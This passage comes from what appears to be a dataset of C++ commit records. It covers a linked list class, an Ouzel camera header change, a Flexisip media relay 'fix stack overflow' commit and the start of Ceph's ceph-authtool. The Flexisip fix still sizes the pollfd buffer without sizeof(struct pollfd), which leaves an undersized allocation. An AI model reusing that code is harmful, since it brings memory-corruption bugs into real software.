(current_entry->next == NULL)\n      {\n         \/\/ We removed the last node so fix the tail and set current and\n         \/\/ next as being done with the list\n         list_tail = current_entry->previous;\n         current_entry = NULL;\n         next_entry = NULL;\n      }\n      else\n      {\n         \/\/ We're removing a node in the middle\n         next_entry = current_entry->next;\n         current_entry = NULL;\n      }\n                                                                                \n      \/\/ Free up the structure from the list\n      free(old);\n\n      \/\/ Remove one from our counter since we just took out a node\n      num_entries--;\n                                                                                \n      \/\/ Return success\n      return true;\n   }\n}\n\n\nbool atList::removeAllEntries()\n{\n   \/\/ We'll do this by calling removeCurrentEntry() for each entry in\n   \/\/ the list (since we're removing all entries, it won't matter that\n   \/\/ we're messing with the current_entry pointer)\n   while (list_head != NULL)\n   {\n       current_entry = list_head;\n       removeCurrentEntry();\n   }\n\n   \/\/ Set traversal pointers\n   current_entry = NULL;\n   next_entry = NULL;\n\n   \/\/ Return success\n   return true;\n}\n\n\natItem * atList::getFirstEntry()\n{\n   \/\/ Go to the first node (if it exists)\n   current_entry = list_head;\n   if (list_head != NULL)\n      next_entry = list_head->next;\n   else\n      next_entry = NULL;\n           \n   \/\/ If we have a first node, return the item stored in it\n   if (current_entry != NULL)\n      return current_entry->item;\n   else\n      return NULL;\n}\n\n\natItem * atList::getNextEntry()\n{\n   \/\/ If there is a next node, move on and return it\n   if (next_entry != NULL)\n   {\n      \/\/ Advance\n      current_entry = next_entry;\n      next_entry = current_entry->next;\n\n      \/\/ Return the item\n      return current_entry->item;\n   }\n   else\n      return NULL;\n}\n\n\natItem * atList::getPreviousEntry()\n{\n   \/\/ If we aren't at the beginning of the list, go to the previous node\n   if (current_entry != NULL)\n      current_entry = current_entry->previous;\n                                                                                \n   \/\/ If we have a new node, return its item\n   if (current_entry != NULL)\n      return current_entry->item;\n   else\n      return NULL;\n}\n\n\natItem * atList::getLastEntry()\n{\n   \/\/ Go to the last node (if it exists)\n   current_entry = list_tail;\n   next_entry = NULL;\n           \n   \/\/ If we have a first node, return the item stored in it\n   if (current_entry != NULL)\n      return current_entry->item;\n   else\n      return NULL;\n}\n\n\natItem * atList::getNthEntry(u_long n)\n{\n   u_long count;\n\n   \/\/ Walk the list until we reach the n'th element\n   count = 0;\n   getFirstEntry();\n   while ((count < n) && (current_entry != NULL))\n   {\n       \/\/ Increment the count\n       count++;\n\n       \/\/ Advance the current entry pointer\n       getNextEntry();\n   }\n\n   \/\/ If the current_entry is NULL (the index is greater than the number\n   \/\/ of elements in the list), return NULL\n   if (current_entry == NULL)\n      return NULL;\n\n   \/\/ Otherwise, return the item at the given list entry\n   return current_entry->item;\n}\n\n\natItem * atList::findEntry(atItem * item)\n{\n   atItem *currentItem;\n\n   \/\/ Walk the list until we find an item in the list that matches the given\n   \/\/ item (according to the item's equals() method)\n   currentItem = getFirstEntry();\n   while ((currentItem != NULL) && (!currentItem->equals(item)))\n       currentItem = getNextEntry();\n\n   \/\/ Return the item we found, or NULL if we didn't find it\n   return currentItem;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>HasteMonster-wands now IDs on hit<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"cap2.h\"\n#include <QApplication>\n\nint main(int argc, char *argv[])\n{\n    QApplication a(argc, argv);\n    Cap2 w;\n    w.show();\n\n    return a.exec();\n}\n<commit_msg>Delete main.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Ouzel by Elviss Strazdins\n\n#ifndef OUZEL_SCENE_CAMERA_HPP\n#define OUZEL_SCENE_CAMERA_HPP\n\n#include <memory>\n#include \"Component.hpp\"\n#include \"..\/math\/Constants.hpp\"\n#include \"..\/math\/Matrix.hpp\"\n#include \"..\/math\/Rect.hpp\"\n#include \"..\/graphics\/DepthStencilState.hpp\"\n#include \"..\/graphics\/RenderTarget.hpp\"\n\nnamespace ouzel::scene\n{\n    class Layer;\n\n    class Camera: public Component\n    {\n        friend Layer;\n    public:\n        enum class ProjectionMode\n        {\n            custom,\n            orthographic,\n            perspective\n        };\n\n        enum class ScaleMode\n        {\n            noScale,\n            exactFit,\n            noBorder,\n            showAll\n        };\n\n        explicit Camera(const math::Matrix<float, 4>& initProjection);\n        explicit Camera(const math::Size<float, 2>& initTargetContentSize = math::Size<float, 2>{}, ScaleMode initScaleMode = ScaleMode::noScale);\n        explicit Camera(float initFov, float initNearPlane = 1.0F, float initFarPlane = 100.0F);\n        ~Camera() override;\n\n        [[nodiscard]] auto getProjectionMode() const noexcept { return projectionMode; }\n        void setProjectionMode(ProjectionMode newProjectionMode) { projectionMode = newProjectionMode; }\n\n        [[nodiscard]] auto getFov() const noexcept { return fov; }\n        void setFov(float newFov) { fov = newFov; }\n\n        [[nodiscard]] auto getNearPlane() const noexcept { return nearPlane; }\n        void setNearPlane(float newNearPlane) { nearPlane = newNearPlane; }\n\n        [[nodiscard]] auto getFarPlane() const noexcept { return farPlane; }\n        void setFarPlane(float newFarPlane) { farPlane = newFarPlane; }\n\n        [[nodiscard]] auto& getProjection() const noexcept { return projection; }\n        void setProjection(const math::Matrix<float, 4>& newProjection) { projection = newProjection; }\n        void recalculateProjection();\n\n        const math::Matrix<float, 4>& getViewProjection() const;\n        const math::Matrix<float, 4>& getRenderViewProjection() const;\n        const math::Matrix<float, 4>& getInverseViewProjection() const;\n\n        math::Vector<float, 3> convertNormalizedToWorld(const math::Vector<float, 2>& normalizedPosition) const;\n        math::Vector<float, 2> convertWorldToNormalized(const math::Vector<float, 3>& worldPosition) const;\n\n        bool checkVisibility(const math::Matrix<float, 4>& boxTransform, const math::Box<float, 3>& box) const;\n\n        [[nodiscard]] auto& getViewport() const noexcept { return viewport; }\n        [[nodiscard]] auto& getRenderViewport() const noexcept { return renderViewport; }\n        void setViewport(const math::Rect<float>& newViewport);\n\n        [[nodiscard]] auto getScaleMode() const noexcept { return scaleMode; }\n        void setScaleMode(ScaleMode newScaleMode);\n\n        [[nodiscard]] auto& getTargetContentSize() const noexcept { return targetContentSize; }\n        void setTargetContentSize(const math::Size<float, 2>& newTargetContentSize);\n\n        [[nodiscard]] auto& getContentSize() const noexcept { return contentSize; }\n        [[nodiscard]] auto& getContentScale() const noexcept { return contentScale; }\n        [[nodiscard]] auto& getContentPosition() const noexcept { return contentPosition; }\n\n        [[nodiscard]] auto getRenderTarget() const noexcept { return renderTarget; }\n        void setRenderTarget(graphics::RenderTarget* newRenderTarget);\n\n        [[nodiscard]] auto getDepthTest() const noexcept { return depthTest; }\n        void setDepthTest(bool newDepthTest);\n        [[nodiscard]] auto& getDepthStencilState() const noexcept { return depthStencilState; }\n\n        [[nodiscard]] auto getStencilReferenceValue() const noexcept { return stencilReferenceValue; }\n        void setStencilReferenceValue(std::uint32_t newStencilReferenceValue) { stencilReferenceValue = newStencilReferenceValue; }\n\n        [[nodiscard]] auto getWireframe() const noexcept { return wireframe; }\n        void setWireframe(bool newWireframe) { wireframe = newWireframe; }\n\n        [[nodiscard]] auto getClearColorBuffer() const noexcept { return clearColorBuffer; }\n        void setClearColorBuffer(bool clear) { clearColorBuffer = clear; }\n\n        [[nodiscard]] auto getClearDepthBuffer() const noexcept { return clearDepthBuffer; }\n        void setClearDepthBuffer(bool clear) { clearDepthBuffer = clear; }\n\n        [[nodiscard]] auto getClearStencilBuffer() const noexcept { return clearStencilBuffer; }\n        void setClearStencilBuffer(bool clear) { clearStencilBuffer = clear; }\n\n        [[nodiscard]] auto getClearColor() const noexcept { return clearColor; }\n        void setClearColor(math::Color color) { clearColor = color; }\n\n        [[nodiscard]] auto getClearDepth() const noexcept { return clearDepth; }\n        void setClearDepth(float depth) { clearDepth = depth; }\n\n        [[nodiscard]] auto getClearStencil() const noexcept { return clearStencil; }\n        void setClearDepth(std::uint32_t stencil) { clearStencil = stencil; }\n\n    private:\n        void setActor(Actor* newActor) override;\n        void setLayer(Layer* newLayer) override;\n\n        void updateTransform() override;\n        void calculateViewProjection() const;\n\n        ProjectionMode projectionMode;\n        float fov = math::tau<float> \/ 6.0F;\n        float nearPlane = 1.0F;\n        float farPlane = 100.0F;\n\n        math::Matrix<float, 4> projection;\n\n        math::Rect<float> viewport = math::Rect<float>{0.0F, 0.0F, 1.0F, 1.0F};\n        math::Rect<float> renderViewport;\n        math::Size<float, 2> targetContentSize;\n\n        ScaleMode scaleMode = ScaleMode::noScale;\n        math::Size<float, 2> contentSize{};\n        math::Vector<float, 2> contentScale{};\n        math::Vector<float, 2> contentPosition{};\n\n        bool depthTest = false;\n        bool wireframe = false;\n\n        mutable bool viewProjectionDirty = true;\n        mutable math::Matrix<float, 4> viewProjection;\n        mutable math::Matrix<float, 4> renderViewProjection;\n\n        mutable bool inverseViewProjectionDirty = true;\n        mutable math::Matrix<float, 4> inverseViewProjection;\n\n        graphics::RenderTarget* renderTarget = nullptr;\n        std::unique_ptr<graphics::DepthStencilState> depthStencilState;\n        std::uint32_t stencilReferenceValue = 0;\n\n        bool clearColorBuffer = false;\n        bool clearDepthBuffer = false;\n        bool clearStencilBuffer = false;\n        math::Color clearColor;\n        float clearDepth = 1.0F;\n        std::uint32_t clearStencil = 0;\n    };\n}\n\n#endif \/\/ OUZEL_SCENE_CAMERA_HPP\n<commit_msg>Recalculate projection on projection parameter change<commit_after>\/\/ Ouzel by Elviss Strazdins\n\n#ifndef OUZEL_SCENE_CAMERA_HPP\n#define OUZEL_SCENE_CAMERA_HPP\n\n#include <memory>\n#include \"Component.hpp\"\n#include \"..\/math\/Constants.hpp\"\n#include \"..\/math\/Matrix.hpp\"\n#include \"..\/math\/Rect.hpp\"\n#include \"..\/graphics\/DepthStencilState.hpp\"\n#include \"..\/graphics\/RenderTarget.hpp\"\n\nnamespace ouzel::scene\n{\n    class Layer;\n\n    class Camera: public Component\n    {\n        friend Layer;\n    public:\n        enum class ProjectionMode\n        {\n            custom,\n            orthographic,\n            perspective\n        };\n\n        enum class ScaleMode\n        {\n            noScale,\n            exactFit,\n            noBorder,\n            showAll\n        };\n\n        explicit Camera(const math::Matrix<float, 4>& initProjection);\n        explicit Camera(const math::Size<float, 2>& initTargetContentSize = math::Size<float, 2>{}, ScaleMode initScaleMode = ScaleMode::noScale);\n        explicit Camera(float initFov, float initNearPlane = 1.0F, float initFarPlane = 100.0F);\n        ~Camera() override;\n\n        [[nodiscard]] auto getProjectionMode() const noexcept { return projectionMode; }\n        void setProjectionMode(ProjectionMode newProjectionMode)\n        {\n            projectionMode = newProjectionMode;\n            recalculateProjection();\n        }\n\n        [[nodiscard]] auto getFov() const noexcept { return fov; }\n        void setFov(float newFov)\n        {\n            fov = newFov;\n            recalculateProjection();\n        }\n\n        [[nodiscard]] auto getNearPlane() const noexcept { return nearPlane; }\n        void setNearPlane(float newNearPlane)\n        {\n            nearPlane = newNearPlane;\n            recalculateProjection();\n        }\n\n        [[nodiscard]] auto getFarPlane() const noexcept { return farPlane; }\n        void setFarPlane(float newFarPlane)\n        {\n            farPlane = newFarPlane;\n            recalculateProjection();\n        }\n\n        [[nodiscard]] auto& getProjection() const noexcept { return projection; }\n        void setProjection(const math::Matrix<float, 4>& newProjection)\n        {\n            projection = newProjection;\n            recalculateProjection();\n        }\n        void recalculateProjection();\n\n        const math::Matrix<float, 4>& getViewProjection() const;\n        const math::Matrix<float, 4>& getRenderViewProjection() const;\n        const math::Matrix<float, 4>& getInverseViewProjection() const;\n\n        math::Vector<float, 3> convertNormalizedToWorld(const math::Vector<float, 2>& normalizedPosition) const;\n        math::Vector<float, 2> convertWorldToNormalized(const math::Vector<float, 3>& worldPosition) const;\n\n        bool checkVisibility(const math::Matrix<float, 4>& boxTransform, const math::Box<float, 3>& box) const;\n\n        [[nodiscard]] auto& getViewport() const noexcept { return viewport; }\n        void setViewport(const math::Rect<float>& newViewport);\n        [[nodiscard]] auto& getRenderViewport() const noexcept { return renderViewport; }\n\n        [[nodiscard]] auto getScaleMode() const noexcept { return scaleMode; }\n        void setScaleMode(ScaleMode newScaleMode);\n\n        [[nodiscard]] auto& getTargetContentSize() const noexcept { return targetContentSize; }\n        void setTargetContentSize(const math::Size<float, 2>& newTargetContentSize);\n\n        [[nodiscard]] auto& getContentSize() const noexcept { return contentSize; }\n        [[nodiscard]] auto& getContentScale() const noexcept { return contentScale; }\n        [[nodiscard]] auto& getContentPosition() const noexcept { return contentPosition; }\n\n        [[nodiscard]] auto getRenderTarget() const noexcept { return renderTarget; }\n        void setRenderTarget(graphics::RenderTarget* newRenderTarget);\n\n        [[nodiscard]] auto getDepthTest() const noexcept { return depthTest; }\n        void setDepthTest(bool newDepthTest);\n        [[nodiscard]] auto& getDepthStencilState() const noexcept { return depthStencilState; }\n\n        [[nodiscard]] auto getStencilReferenceValue() const noexcept { return stencilReferenceValue; }\n        void setStencilReferenceValue(std::uint32_t newStencilReferenceValue) { stencilReferenceValue = newStencilReferenceValue; }\n\n        [[nodiscard]] auto getWireframe() const noexcept { return wireframe; }\n        void setWireframe(bool newWireframe) { wireframe = newWireframe; }\n\n        [[nodiscard]] auto getClearColorBuffer() const noexcept { return clearColorBuffer; }\n        void setClearColorBuffer(bool clear) { clearColorBuffer = clear; }\n\n        [[nodiscard]] auto getClearDepthBuffer() const noexcept { return clearDepthBuffer; }\n        void setClearDepthBuffer(bool clear) { clearDepthBuffer = clear; }\n\n        [[nodiscard]] auto getClearStencilBuffer() const noexcept { return clearStencilBuffer; }\n        void setClearStencilBuffer(bool clear) { clearStencilBuffer = clear; }\n\n        [[nodiscard]] auto getClearColor() const noexcept { return clearColor; }\n        void setClearColor(math::Color color) { clearColor = color; }\n\n        [[nodiscard]] auto getClearDepth() const noexcept { return clearDepth; }\n        void setClearDepth(float depth) { clearDepth = depth; }\n\n        [[nodiscard]] auto getClearStencil() const noexcept { return clearStencil; }\n        void setClearDepth(std::uint32_t stencil) { clearStencil = stencil; }\n\n    private:\n        void setActor(Actor* newActor) override;\n        void setLayer(Layer* newLayer) override;\n\n        void updateTransform() override;\n        void calculateViewProjection() const;\n\n        ProjectionMode projectionMode;\n        float fov = math::tau<float> \/ 6.0F;\n        float nearPlane = 1.0F;\n        float farPlane = 100.0F;\n\n        math::Matrix<float, 4> projection;\n\n        math::Rect<float> viewport = math::Rect<float>{0.0F, 0.0F, 1.0F, 1.0F};\n        math::Rect<float> renderViewport;\n        math::Size<float, 2> targetContentSize;\n\n        ScaleMode scaleMode = ScaleMode::noScale;\n        math::Size<float, 2> contentSize{};\n        math::Vector<float, 2> contentScale{};\n        math::Vector<float, 2> contentPosition{};\n\n        bool depthTest = false;\n        bool wireframe = false;\n\n        mutable bool viewProjectionDirty = true;\n        mutable math::Matrix<float, 4> viewProjection;\n        mutable math::Matrix<float, 4> renderViewProjection;\n\n        mutable bool inverseViewProjectionDirty = true;\n        mutable math::Matrix<float, 4> inverseViewProjection;\n\n        graphics::RenderTarget* renderTarget = nullptr;\n        std::unique_ptr<graphics::DepthStencilState> depthStencilState;\n        std::uint32_t stencilReferenceValue = 0;\n\n        bool clearColorBuffer = false;\n        bool clearDepthBuffer = false;\n        bool clearStencilBuffer = false;\n        math::Color clearColor;\n        float clearDepth = 1.0F;\n        std::uint32_t clearStencil = 0;\n    };\n}\n\n#endif \/\/ OUZEL_SCENE_CAMERA_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tFlexisip, a flexible SIP proxy server with media capabilities.\n    Copyright (C) 2010  Belledonne Communications SARL.\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as\n    published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"agent.hh\"\n#include \"mediarelay.hh\"\n\n#include <poll.h>\n\n#include <algorithm>\n#include <list>\n\nusing namespace::std;\n\nint MediaSource::recv(uint8_t *buf, size_t buflen){\n\tslen=sizeof(ss);\n\tint err=recvfrom(fd,buf,buflen,0,(struct sockaddr*)&ss,&slen);\n\tif (err==-1) slen=0;\n\treturn err;\n}\n\nint MediaSource::send(uint8_t *buf, size_t buflen){\n\tint err;\n\tif (slen>0){\n\t\terr=sendto(fd,buf,buflen,0,(struct sockaddr*)&ss,slen);\n\t\treturn err;\n\t}\n\treturn 0;\n}\n\n\nRelaySession::RelaySession(const std::string &localip) : mLocalIp(localip){\n\tmLastActivityTime=0;\n\tmSession[0]=rtp_session_new(RTP_SESSION_SENDRECV);\n\tmSession[1]=rtp_session_new(RTP_SESSION_SENDRECV);\n\trtp_session_set_local_addr(mSession[0],mLocalIp.c_str(),-1);\n\trtp_session_set_local_addr(mSession[1],mLocalIp.c_str(),-1);\n\tmSources[0].fd=rtp_session_get_rtp_socket(mSession[0]);\n\tmSources[1].fd=rtp_session_get_rtp_socket(mSession[1]);\n\tmSources[2].fd=rtp_session_get_rtcp_socket(mSession[0]);\n\tmSources[3].fd=rtp_session_get_rtcp_socket(mSession[1]);\n\tmUsed=true;\n}\n\nRelaySession::~RelaySession(){\n\trtp_session_destroy(mSession[0]);\n\trtp_session_destroy(mSession[1]);\n}\n\nint RelaySession::getPorts(int ports[2])const{\n\tports[0]=rtp_session_get_local_port(mSession[0]);\n\tports[1]=rtp_session_get_local_port(mSession[1]);\n\tif (ports[0]==-1 || ports[1]==-1)\n\t\treturn -1;\n\treturn 0;\n}\n\nconst std::string & RelaySession::getAddr()const{\n\treturn mLocalIp;\n}\n\nvoid RelaySession::unuse(){\n\tmUsed=false;\n}\n\nvoid RelaySession::fillPollFd(struct pollfd *tab){\n\tint i;\n\tfor(i=0;i<4;++i){\n\t\ttab[i].fd=mSources[i].fd;\n\t\ttab[i].events=POLLIN;\n\t\ttab[i].revents=0;\n\t}\n}\n\n\nvoid RelaySession::transfer(time_t curtime, struct pollfd *tab){\n\tuint8_t buf[1500];\n\tconst int maxsize=sizeof(buf);\n\tint len;\n\tint i;\n\n\tif (mLastActivityTime==0)\n\t\tmLastActivityTime=curtime;\n\t\n\tfor (i=0;i<4;i+=2){\n\t\tif (tab[i].revents & POLLIN){\n\t\t\tlen=mSources[i].recv(buf,maxsize);\n\t\t\tif (len>0)\n\t\t\t\tmSources[i+1].send(buf,len);\n\t\t\tmLastActivityTime=curtime;\n\t\t}\n\t\tif (tab[i+1].revents & POLLIN){\n\t\t\tmLastActivityTime=curtime;\n\t\t\tlen=mSources[i+1].recv(buf,maxsize);\n\t\t\tif (len>0)\n\t\t\t\tmSources[i].send(buf,len);\n\t\t}\n\t}\n}\n\n\nMediaRelayServer::MediaRelayServer(const std::string &localip) : mLocalIp(localip){\n\tmRunning=true;\n\tif (pipe(mCtlPipe)==-1){\n\t\tLOGF(\"Could not create MediaRelayServer control pipe.\");\n\t}\n\tpthread_create(&mThread,NULL,&MediaRelayServer::threadFunc,this);\n}\n\n\nMediaRelayServer::~MediaRelayServer(){\n\tmRunning=false;\n\tif (write(mCtlPipe[1],\"e\",1)==-1)\n\t\tLOGE(\"MediaRelayServer: Fail to write to control pipe.\");\n\tpthread_join(mThread,NULL);\n\tfor_each(mSessions.begin(),mSessions.end(),delete_functor<RelaySession>());\n\tclose(mCtlPipe[0]);\n\tclose(mCtlPipe[1]);\n}\n\nRelaySession *MediaRelayServer::createSession(){\n\tRelaySession *s=new RelaySession(mLocalIp);\n\tint count;\n\tmMutex.lock();\n\tmSessions.push_back(s);\n\tcount=mSessions.size();\n\tmMutex.unlock();\n\tLOGD(\"There are now %i relay sessions running.\",count);\n\t\/*write to the control pipe to wakeup the server thread *\/\n\tif (write(mCtlPipe[1],\"e\",1)==-1)\n\t\tLOGE(\"MediaRelayServer: fail to write to control pipe.\");\n\treturn s;\n}\n\nvoid MediaRelayServer::run(){\n\tint sessionCount;\n\tint i;\n\tstruct pollfd *pfds;\n\tlist<RelaySession*>::iterator it;\n\tint err;\n\t\n\twhile(mRunning){\n\t\tmMutex.lock();\n\t\tsessionCount=mSessions.size();\n\t\tmMutex.unlock();\n\t\tpfds=(struct pollfd*)alloca((sessionCount*4) + 1);\n\t\tfor(i=0,it=mSessions.begin();i<sessionCount;++i,++it){\n\t\t\t(*it)->fillPollFd(&pfds[i*4]);\n\t\t}\n\t\t\n\t\tpfds[sessionCount*4].fd=mCtlPipe[0];\n\t\tpfds[sessionCount*4].events=POLLIN;\n\t\tpfds[sessionCount*4].revents=0;\n\t\t\n\t\terr=poll(pfds,(sessionCount*4 )+ 1,-1);\n\t\tif (pfds[sessionCount*4].revents){\n\t\t\tchar tmp;\n\t\t\tif (read(mCtlPipe[0],&tmp,1)==-1){\n\t\t\t\tLOGE(\"Fail to read from control pipe.\");\n\t\t\t}\n\t\t}\n\t\ttime_t curtime=time(NULL);\n\t\tfor(i=0,it=mSessions.begin();i<sessionCount;++i,++it){\n\t\t\tRelaySession *s=(*it);\n\t\t\tif (s->isUsed()){\n\t\t\t\ts->transfer(curtime,&pfds[i*4]);\n\t\t\t}\n\t\t}\n\t\t\/*cleanup loop*\/\n\t\tmMutex.lock();\n\t\tfor(it=mSessions.begin();it!=mSessions.end();){\n\t\t\tif (!(*it)->isUsed()){\n\t\t\t\tdelete *it;\n\t\t\t\tit=mSessions.erase(it);\n\t\t\t}else{\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\t\tmMutex.unlock();\n\t}\n}\n\nvoid *MediaRelayServer::threadFunc(void *arg){\n\tMediaRelayServer *zis=(MediaRelayServer*)arg;\n\tzis->run();\n\treturn NULL;\n}\n<commit_msg>fix stack overflow<commit_after>\/*\n\tFlexisip, a flexible SIP proxy server with media capabilities.\n    Copyright (C) 2010  Belledonne Communications SARL.\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as\n    published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"agent.hh\"\n#include \"mediarelay.hh\"\n\n#include <poll.h>\n\n#include <algorithm>\n#include <list>\n\nusing namespace::std;\n\nint MediaSource::recv(uint8_t *buf, size_t buflen){\n\tslen=sizeof(ss);\n\tint err=recvfrom(fd,buf,buflen,0,(struct sockaddr*)&ss,&slen);\n\tif (err==-1) slen=0;\n\treturn err;\n}\n\nint MediaSource::send(uint8_t *buf, size_t buflen){\n\tint err;\n\tif (slen>0){\n\t\terr=sendto(fd,buf,buflen,0,(struct sockaddr*)&ss,slen);\n\t\treturn err;\n\t}\n\treturn 0;\n}\n\n\nRelaySession::RelaySession(const std::string &localip) : mLocalIp(localip){\n\tmLastActivityTime=0;\n\tmSession[0]=rtp_session_new(RTP_SESSION_SENDRECV);\n\tmSession[1]=rtp_session_new(RTP_SESSION_SENDRECV);\n\trtp_session_set_local_addr(mSession[0],mLocalIp.c_str(),-1);\n\trtp_session_set_local_addr(mSession[1],mLocalIp.c_str(),-1);\n\tmSources[0].fd=rtp_session_get_rtp_socket(mSession[0]);\n\tmSources[1].fd=rtp_session_get_rtp_socket(mSession[1]);\n\tmSources[2].fd=rtp_session_get_rtcp_socket(mSession[0]);\n\tmSources[3].fd=rtp_session_get_rtcp_socket(mSession[1]);\n\tmUsed=true;\n}\n\nRelaySession::~RelaySession(){\n\trtp_session_destroy(mSession[0]);\n\trtp_session_destroy(mSession[1]);\n}\n\nint RelaySession::getPorts(int ports[2])const{\n\tports[0]=rtp_session_get_local_port(mSession[0]);\n\tports[1]=rtp_session_get_local_port(mSession[1]);\n\tif (ports[0]==-1 || ports[1]==-1)\n\t\treturn -1;\n\treturn 0;\n}\n\nconst std::string & RelaySession::getAddr()const{\n\treturn mLocalIp;\n}\n\nvoid RelaySession::unuse(){\n\tmUsed=false;\n}\n\nvoid RelaySession::fillPollFd(struct pollfd *tab){\n\tint i;\n\tfor(i=0;i<4;++i){\n\t\ttab[i].fd=mSources[i].fd;\n\t\ttab[i].events=POLLIN;\n\t\ttab[i].revents=0;\n\t}\n}\n\n\nvoid RelaySession::transfer(time_t curtime, struct pollfd *tab){\n\tuint8_t buf[1500];\n\tconst int maxsize=sizeof(buf);\n\tint len;\n\tint i;\n\n\tif (mLastActivityTime==0)\n\t\tmLastActivityTime=curtime;\n\t\n\tfor (i=0;i<4;i+=2){\n\t\tif (tab[i].revents & POLLIN){\n\t\t\tlen=mSources[i].recv(buf,maxsize);\n\t\t\tif (len>0)\n\t\t\t\tmSources[i+1].send(buf,len);\n\t\t\tmLastActivityTime=curtime;\n\t\t}\n\t\tif (tab[i+1].revents & POLLIN){\n\t\t\tmLastActivityTime=curtime;\n\t\t\tlen=mSources[i+1].recv(buf,maxsize);\n\t\t\tif (len>0)\n\t\t\t\tmSources[i].send(buf,len);\n\t\t}\n\t}\n}\n\n\nMediaRelayServer::MediaRelayServer(const std::string &localip) : mLocalIp(localip){\n\tmRunning=true;\n\tif (pipe(mCtlPipe)==-1){\n\t\tLOGF(\"Could not create MediaRelayServer control pipe.\");\n\t}\n\tpthread_create(&mThread,NULL,&MediaRelayServer::threadFunc,this);\n}\n\n\nMediaRelayServer::~MediaRelayServer(){\n\tmRunning=false;\n\tif (write(mCtlPipe[1],\"e\",1)==-1)\n\t\tLOGE(\"MediaRelayServer: Fail to write to control pipe.\");\n\tpthread_join(mThread,NULL);\n\tfor_each(mSessions.begin(),mSessions.end(),delete_functor<RelaySession>());\n\tclose(mCtlPipe[0]);\n\tclose(mCtlPipe[1]);\n}\n\nRelaySession *MediaRelayServer::createSession(){\n\tRelaySession *s=new RelaySession(mLocalIp);\n\tint count;\n\tmMutex.lock();\n\tmSessions.push_back(s);\n\tcount=mSessions.size();\n\tmMutex.unlock();\n\tLOGD(\"There are now %i relay sessions running.\",count);\n\t\/*write to the control pipe to wakeup the server thread *\/\n\tif (write(mCtlPipe[1],\"e\",1)==-1)\n\t\tLOGE(\"MediaRelayServer: fail to write to control pipe.\");\n\treturn s;\n}\n\nvoid MediaRelayServer::run(){\n\tint sessionCount;\n\tint i;\n\tstruct pollfd *pfds=NULL;\n\tlist<RelaySession*>::iterator it;\n\tint err;\n\tint pfds_size=0,cur_pfds_size=0;\n\t\n\twhile(mRunning){\n\t\tmMutex.lock();\n\t\tsessionCount=mSessions.size();\n\t\tmMutex.unlock();\n\t\tpfds_size=(sessionCount*4)+1;\n\t\tif (pfds_size>cur_pfds_size){\n\t\t\tpfds=(struct pollfd*)realloc(pfds,pfds_size);\n\t\t\tcur_pfds_size=pfds_size;\n\t\t}\n\t\tfor(i=0,it=mSessions.begin();i<sessionCount;++i,++it){\n\t\t\t(*it)->fillPollFd(&pfds[i*4]);\n\t\t}\n\t\t\n\t\tpfds[sessionCount*4].fd=mCtlPipe[0];\n\t\tpfds[sessionCount*4].events=POLLIN;\n\t\tpfds[sessionCount*4].revents=0;\n\t\t\n\t\terr=poll(pfds,(sessionCount*4 )+ 1,-1);\n\t\tif (pfds[sessionCount*4].revents){\n\t\t\tchar tmp;\n\t\t\tif (read(mCtlPipe[0],&tmp,1)==-1){\n\t\t\t\tLOGE(\"Fail to read from control pipe.\");\n\t\t\t}\n\t\t}\n\t\ttime_t curtime=time(NULL);\n\t\tfor(i=0,it=mSessions.begin();i<sessionCount;++i,++it){\n\t\t\tRelaySession *s=(*it);\n\t\t\tif (s->isUsed()){\n\t\t\t\ts->transfer(curtime,&pfds[i*4]);\n\t\t\t}\n\t\t}\n\t\t\/*cleanup loop*\/\n\t\tmMutex.lock();\n\t\tfor(it=mSessions.begin();it!=mSessions.end();){\n\t\t\tif (!(*it)->isUsed()){\n\t\t\t\tdelete *it;\n\t\t\t\tit=mSessions.erase(it);\n\t\t\t}else{\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\t\tmMutex.unlock();\n\t}\n\tif (pfds) free(pfds);\n}\n\nvoid *MediaRelayServer::threadFunc(void *arg){\n\tMediaRelayServer *zis=(MediaRelayServer*)arg;\n\tzis->run();\n\treturn NULL;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- \n\/\/ vim: ts=8 sw=2 smarttab\n\/*\n * Ceph - scalable distributed file system\n *\n * Copyright (C) 2004-2009 Sage Weil <sage@newdream.net>\n *\n * This is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software \n * Foundation.  See file COPYING.\n * \n *\/\n\nusing namespace std;\n\n#include \"common\/config.h\"\n#include \"common\/strtol.h\"\n\n#include \"common\/ConfUtils.h\"\n#include \"common\/ceph_argparse.h\"\n#include \"global\/global_context.h\"\n#include \"global\/global_init.h\"\n#include \"auth\/Crypto.h\"\n#include \"auth\/Auth.h\"\n#include \"auth\/KeyRing.h\"\n\n#include <sstream>\n\nvoid usage()\n{\n  cout << \"usage: ceph-authtool keyringfile [OPTIONS]...\\n\"\n       << \"where the options are:\\n\"\n       << \"  -l, --list                    will list all keys and capabilities present in\\n\"\n       << \"                                the keyring\\n\"\n       << \"  -p, --print                   will print an encoded key for the specified\\n\"\n       << \"                                entityname. This is suitable for the\\n\"\n       << \"                                'mount -o secret=..' argument\\n\"\n       << \"  -C, --create-keyring          will create a new keyring, overwriting any\\n\"\n       << \"                                existing keyringfile\\n\"\n       << \"  --gen-key                     will generate a new secret key for the\\n\"\n       << \"                                specified entityname\\n\"\n       << \"  